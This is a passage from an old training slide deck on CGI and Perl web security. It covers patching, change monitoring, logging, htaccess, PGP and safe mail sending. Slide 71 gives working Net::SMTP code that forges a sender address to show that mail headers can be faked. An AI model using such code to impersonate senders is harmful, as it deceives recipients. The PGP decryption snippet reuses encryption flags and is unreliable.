Slide 62: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Maintaining current version levels • Operating system, server software, perl interpreter, CGI.pm. • Keep up to date on BUGTRAQ, CERT. • Don’t use experimental or beta releases in production. • Grandfather old, safe versions until new versions have been tested. • Archive old versions. Page 59 of 73

Slide 63: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Monitoring changes • Did your CGI program change without you knowing it? • Use revision control methods (RCS) to keep old copies • Communicate with co-workers—your work might affect others’ work • Changes can introduce new bugs and security holes. • Beware of the Friday Afternoon Fix (Where do you want your weekend to go today?) • Use tripwire to notify you of changes Page 60 of 73

Slide 64: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Tracking errors from CGI programs • Log everything—accesses, errors • Log to remote machines to contain security breaches • Look at the server error logs occasionally • Design problems [Thu Oct 1 09:46:42 1998] lion.cgi: Use of uninitialized value at /usr/ local/lib/perl5/site_perl/Hotel/Hotel.pm line 79. • Security problems [Sat Oct 10 00:49:20 1998] access to /web/cgi-bin/phf failed for 166.84.185.60, reason: script not found or unable to stat • Filter logs to cull suspicious activity • Send yourself mail your script encounters an errors Page 61 of 73

Slide 65: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Dealing with robots • Block them by IP number • Block them by User-agent (BrowserMatch, for instance) • Find them by suspicious activity in the access or error logs • Detect loops in a self-referential script and kill them • Use robots.txt to stop behaving robots User-Agent: * Disallow: /cgi-bin Disallow: /private Disallow: /dev Disallow: /stats Disallow: /Images Page 62 of 73

Slide 66: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Password protecting scripts • Use access control built into server (htaccess) % more .htaccess satisfy any order deny,allow deny from all allow from .users.oz allow from 206.67.186.65 AuthType Basic AuthUserFile /web/htpasswd.d/oz.internal.htpasswd AuthName "Munchkin Internet Service (MIS)" require valid-user Page 63 of 73

Slide 67: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Encrypt data for transmission • Protect transmission of sensitive information (like personal and personnel information • Use PGP to send data from a CGI script to a secure machine • Encrypting data in the CGI script: my $TF = "/tmp/this_tool_temp_$$"; open PGP, "|/usr/local/bin/pgp -fea +force +batchmode secret@user >$TF"; print PGP $data_to_be_encrypted; close PGP; open TMP, $TF; $encrypted_data = join "", <TMP>; close TMP; unlink $TF; • Decrypting data on the secure machine: my $TF = "/tmp/this_tool_temp_$$"; open TMP, ">$TF"; print TMP $encrypted_data; close TMP; open PGP, "/usr/local/bin/pgp -fea +force +batchmode <$TF |"; $clear_text = join "", <PGP>; close PGP; unlink $TF; Page 64 of 73

Slide 68: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Mail is not a secure protocol • Using mail to trigger authenticated actions is a very bad idea • Don’t trust headers—they can be forged • Example of arbitrary mail headers given on page 68 • Mail is also sent cleartext • Subject to disclosure—bad guy can see what you’re doing by snooping • Subject to tampering—“man in the middle” attacks • Subject to replay attacks—even if you checksum the message, someone could resend it later • Consider PGP-signed mail messages, with or without encryption • Be sure a datestamp is included in the signed area to prevent replay attacks • Much better—use SSL to a website to trigger authenticated actions (real-time, unsnoopable) Page 65 of 73

Slide 69: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Don’t use /bin/mail or /bin/mailx to send mail • Use sendmail or SMTP to send mail • For sendmail, put the addresses in the headers, not the command line my $destination = 'fred&barney@stonehenge.com'; open SENDMAIL, "|/usr/lib/sendmail -oi -odq -t" or die "Cannot fork: $!"; print SENDMAIL <<EOF; To: $destination From: daemon Subject: Your query results $query_results EOF close SENDMAIL; die "sendmail failed: $?" if $? and ($? >> 8) != 75; • Simpler and safer to use Net::SMTP (see page 68) • /bin/mailx allows tilde escapes at the beginning of the line—this cannot be disabled Page 66 of 73

Slide 70: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Use a valid return address when sending mail • That way, if the mail bounces, it bounces to someone useful • More for debugging and tracing than for security • Point the return address at someone that can debug a potential problem • Don’t point it at an autoresponder (mail loop!) • With SMTP, the return address can be arbitrary • With sendmail, the header-from is arbitrary, but the envelope-from (and header-sender) will be the web server user-id • Often, bounce messages are sent to the envelope-from • But vacation replies will often go to the header-from! Page 67 of 73

Slide 71: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Sending mail with Net::SMTP • Instead of using sendmail, which forks a process, you can use Net::SMTP instead: use Net::SMTP; my $mailer = Net::SMTP->new('localhost'); $mailer->mail('president@not.so.whitehouse.gov'); sender goes here for (@people) { $mailer->recipient($_); } (many) recipients go here $mailer->data(); $mailer->datasend(<<END); Subject: resignation Date and From get added automatically, but not To To: My_Fellow_Americans So we don’t get Apparently-To added with all the recipients I resign, effective immediately. END $mailer->dataend(); $mailer->quit(); Page 68 of 73

Slide 72: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Oh My! Page 69 of 73

Slide 73: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Avoiding the Lions, Tigers, and Bears • Set a security policy and stick to it • Review your code • Loose lips sink ships. Security by obscurity is no security, but that’s no reason to blab. • Use test servers for development. • Perform torture and regression tests The Perl Journal #8 “Torture Testing Web Servers and CGI Scripts” by Lincoln D. Stein • You’re never really free from the Bears. Page 70 of 73

Slide 74: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Ding Dong the Witch is...? Page 71 of 73

Slide 75: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM References • “CGI Meta FAQ” http://www.computerdog.com/CGI_MetaFAQ.html • “WWW Security FAQ” http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html • “CGI Security” http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec/ • “Safe CGI Programming” http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt • “Writing Secure CGI Scripts” http://hoohoo.ncsa.uiuc.edu/cgi/security.html • “Writing Safe Setuid Programs” http://olympus.cs.ucdavis.edu/~bishop/secprog.html • “Idiot’s Guide to Solving Perl CGI Problems” http://language.perl.com/CPAN/doc/FAQs/cgi/idiots-guide.html • “Dissemination of security information on the Internet” http://www.info-sec.com/internet/biblio.html • “A Standard for Robot Exclusion” http://info.webcrawler.com/mak/projects/robots/norobots.html Page 72 of 73

Slide 76: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM More references • “Die()-ing On the Web” by brian d foy, The Perl Journal #9 • “Torture Testing Web Servers and CGI Scripts” by Lincoln D. Stein, The Perl Journal #8 • BUGTRAQ (listserv@netspace.org) and CERT (cert-request@cert.org) mailing lists • Web Security, Lincoln D. Stein, Addison Wesley, 1998 • Web Security & Commerce, Simpson Garfinkel with Gene Spafford, O’Reilly & Associates,1997 • Additional Perl training from http://www.stonehenge.com/perltraining/ Page 73 of 73